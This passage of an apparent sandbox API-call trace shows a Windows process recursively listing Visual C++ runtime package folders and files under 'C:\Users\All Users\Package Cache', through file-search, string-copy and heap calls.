	[0092.486] wcscpy (in: _Dest=0x491c1e8, _Source="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64"
	[0092.486] wcscat (in: _Dest=0x491c1e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\"
	[0092.486] wcscat (in: _Dest=0x491c1e8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*"
	[0092.486] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4711400
	[0092.486] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x4711400 | out: lpFindFileData=0x4711400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f759d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd41e3e2d, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b2e8
	[0092.486] wcscmp (_String1=".", _String2=".") returned 0
	[0092.486] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x4711400 | out: lpFindFileData=0x4711400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f759d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd41e3e2d, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.486] wcscmp (_String1="..", _String2=".") returned 1
	[0092.486] wcscmp (_String1="..", _String2="..") returned 0
	[0092.486] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x4711400 | out: lpFindFileData=0x4711400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8abe5b00, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x8abe5b00, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x8abe5b00, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x554520, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
	[0092.486] wcscmp (_String1="cab1.cab", _String2=".") returned 1
	[0092.486] wcscmp (_String1="cab1.cab", _String2="..") returned 1
	[0092.486] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x4711400 | out: lpFindFileData=0x4711400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x885c0100, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
	[0092.486] wcscmp (_String1="vc_runtimeAdditional_x64.msi", _String2=".") returned 1
	[0092.486] wcscmp (_String1="vc_runtimeAdditional_x64.msi", _String2="..") returned 1
	[0092.486] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x4711400 | out: lpFindFileData=0x4711400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x885c0100, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
	[0092.486] FindClose (in: hFindFile=0x477b2e8 | out: hFindFile=0x477b2e8) returned 1
	[0092.486] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4711400) returned 1
	[0092.486] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491c1e8) returned 1
	[0092.486] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491c6c0) returned 1
	[0092.486] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4710328 | out: lpFindFileData=0x4710328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f759d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd41e3e2d, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0
	[0092.486] FindClose (in: hFindFile=0x477b068 | out: hFindFile=0x477b068) returned 1
	[0092.487] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4710328) returned 1
	[0092.487] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49263f0) returned 1
	[0092.487] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2ca20) returned 1
	[0092.487] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0092.487] FindClose (in: hFindFile=0x477b028 | out: hFindFile=0x477b028) returned 1
	[0092.487] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4711da0) returned 1
	[0092.487] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ba08) returned 1
	[0092.487] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d619a0) returned 1
	[0092.487] FindNextFileW (in: hFindFile=0x2d87338, lpFindFileData=0x2ddeba8 | out: lpFindFileData=0x2ddeba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd40fefff, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f768c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="{A749D~1.210")) returned 1
	[0092.487] wcscmp (_String1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", _String2=".") returned 1
	[0092.487] wcscmp (_String1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", _String2="..") returned 1
	[0092.487] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa6) returned 0x2d61d10
	[0092.487] wcscpy (in: _Dest=0x2d61d10, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache"
	[0092.487] wcscat (in: _Dest=0x2d61d10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\"
	[0092.487] wcscat (in: _Dest=0x2d61d10, _Source="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005"
	[0092.487] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x481ba08
	[0092.487] wcscpy (in: _Dest=0x481ba08, _Source="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005"
	[0092.487] wcscat (in: _Dest=0x481ba08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\"
	[0092.487] wcscat (in: _Dest=0x481ba08, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*"
	[0092.487] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47100c0
	[0092.487] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*", lpFindFileData=0x47100c0 | out: lpFindFileData=0x47100c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd40fefff, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f768c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b268
	[0092.487] wcscmp (_String1=".", _String2=".") returned 0
	[0092.488] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x47100c0 | out: lpFindFileData=0x47100c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd40fefff, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f768c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.488] wcscmp (_String1="..", _String2=".") returned 1
	[0092.488] wcscmp (_String1="..", _String2="..") returned 0
	[0092.488] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x47100c0 | out: lpFindFileData=0x47100c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0092.488] wcscmp (_String1="packages", _String2=".") returned 1
	[0092.488] wcscmp (_String1="packages", _String2="..") returned 1
	[0092.488] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4f2cc60
	[0092.488] wcscpy (in: _Dest=0x4f2cc60, _Source="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005"
	[0092.488] wcscat (in: _Dest=0x4f2cc60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\"
	[0092.488] wcscat (in: _Dest=0x4f2cc60, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages"
	[0092.488] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4926710
	[0092.488] wcscpy (in: _Dest=0x4926710, _Source="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages"
	[0092.488] wcscat (in: _Dest=0x4926710, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\"
	[0092.488] wcscat (in: _Dest=0x4926710, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*"
	[0092.488] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x470f250
	[0092.488] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*", lpFindFileData=0x470f250 | out: lpFindFileData=0x470f250*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b2e8
	[0092.488] wcscmp (_String1=".", _String2=".") returned 0
	[0092.488] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x470f250 | out: lpFindFileData=0x470f250*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.488] wcscmp (_String1="..", _String2=".") returned 1
	[0092.488] wcscmp (_String1="..", _String2="..") returned 0
	[0092.488] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x470f250 | out: lpFindFileData=0x470f250*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f7778e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1
	[0092.488] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2=".") returned 1
	[0092.488] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2="..") returned 1
	[0092.488] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x491e7f8
	[0092.488] wcscpy (in: _Dest=0x491e7f8, _Source="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages"
	[0092.488] wcscat (in: _Dest=0x491e7f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\"
	[0092.488] wcscat (in: _Dest=0x491e7f8, _Source="vcRuntimeMinimum_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64"
	[0092.489] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x491c3d8
	[0092.489] wcscpy (in: _Dest=0x491c3d8, _Source="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64"
	[0092.489] wcscat (in: _Dest=0x491c3d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\"
	[0092.489] wcscat (in: _Dest=0x491c3d8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*"
	[0092.489] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4710328
	[0092.489] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x4710328 | out: lpFindFileData=0x4710328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f7778e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b028
	[0092.489] wcscmp (_String1=".", _String2=".") returned 0
	[0092.489] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4710328 | out: lpFindFileData=0x4710328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f7778e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.489] wcscmp (_String1="..", _String2=".") returned 1
	[0092.489] wcscmp (_String1="..", _String2="..") returned 0
	[0092.489] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4710328 | out: lpFindFileData=0x4710328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x898d2e00, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x898d2e00, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x898d2e00, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0xfc90a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
	[0092.489] wcscmp (_String1="cab1.cab", _String2=".") returned 1
	[0092.489] wcscmp (_String1="cab1.cab", _String2="..") returned 1
	[0092.489] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4710328 | out: lpFindFileData=0x4710328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x885c0100, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
	[0092.489] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2=".") returned 1
	[0092.489] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2="..") returned 1
	[0092.489] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4710328 | out: lpFindFileData=0x4710328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x885c0100, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
	[0092.489] FindClose (in: hFindFile=0x477b028 | out: hFindFile=0x477b028) returned 1
	[0092.489] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4710328) returned 1
	[0092.489] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491c3d8) returned 1
	[0092.489] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491e7f8) returned 1
	[0092.489] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x470f250 | out: lpFindFileData=0x470f250*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f7778e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0
	[0092.490] FindClose (in: hFindFile=0x477b2e8 | out: hFindFile=0x477b2e8) returned 1
	[0092.490] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x470f250) returned 1
	[0092.490] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4926710) returned 1
	[0092.490] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2cc60) returned 1
	[0092.490] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x47100c0 | out: lpFindFileData=0x47100c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0092.490] FindClose (in: hFindFile=0x477b268 | out: hFindFile=0x477b268) returned 1
	[0092.490] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47100c0) returned 1
	[0092.490] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ba08) returned 1
	[0092.490] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61d10) returned 1
	[0092.490] FindNextFileW (in: hFindFile=0x2d87338, lpFindFileData=0x2ddeba8 | out: lpFindFileData=0x2ddeba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe5a20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="{B1755~1.610")) returned 1
	[0092.490] wcscmp (_String1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", _String2=".") returned 1
	[0092.490] wcscmp (_String1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", _String2="..") returned 1
	[0092.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa6) returned 0x2d61160
	[0092.490] wcscpy (in: _Dest=0x2d61160, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache"
	[0092.490] wcscat (in: _Dest=0x2d61160, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\"
	[0092.490] wcscat (in: _Dest=0x2d61160, _Source="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030"
	[0092.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x481ba08
